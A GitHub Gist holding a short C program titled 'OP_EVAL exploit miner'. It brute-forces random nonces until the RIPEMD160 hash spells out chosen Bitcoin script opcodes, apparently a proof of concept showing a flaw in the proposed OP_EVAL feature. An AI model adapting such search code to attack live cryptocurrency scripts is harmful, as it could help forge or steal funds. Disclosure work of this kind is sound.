Created
January 1, 2012 02:45
-
-
Save justmoon/1546061 to your computer and use it in GitHub Desktop.
OP_EVAL exploit miner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <openssl/ripemd.h> | |
#include <openssl/rand.h> | |
void print_hex(unsigned char *bytes, unsigned int len) { | |
int i; | |
for (i = 0; i < len; i++) { | |
printf("%02X", bytes[i]); | |
} | |
printf("\n"); | |
} | |
main() | |
{ | |
union nonce_t { | |
unsigned char b[8]; | |
unsigned long long i; | |
} nonce; | |
unsigned char digest[20]; | |
unsigned int i; | |
for (;;) { | |
RAND_bytes(nonce.b, sizeof(nonce)); | |
RIPEMD160(nonce.b, sizeof(nonce), digest); | |
if ( | |
digest[0] == 174 && // OP_CHECKMULTISIG | |
digest[1] == 76 && // OP_PUSHDATA1 | |
digest[2] == 16 // 0x16 | |
) { | |
// We'll print status info on partial hits, just to make things more | |
// interesting. | |
printf("%llx\n", nonce.i); | |
print_hex(digest, 20); | |
// Check for full hit | |
if (digest[19] == 117) // OP_DROP | |
return; | |
} | |
if ((++i % 1000000) == 0) printf("%u\n", i); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment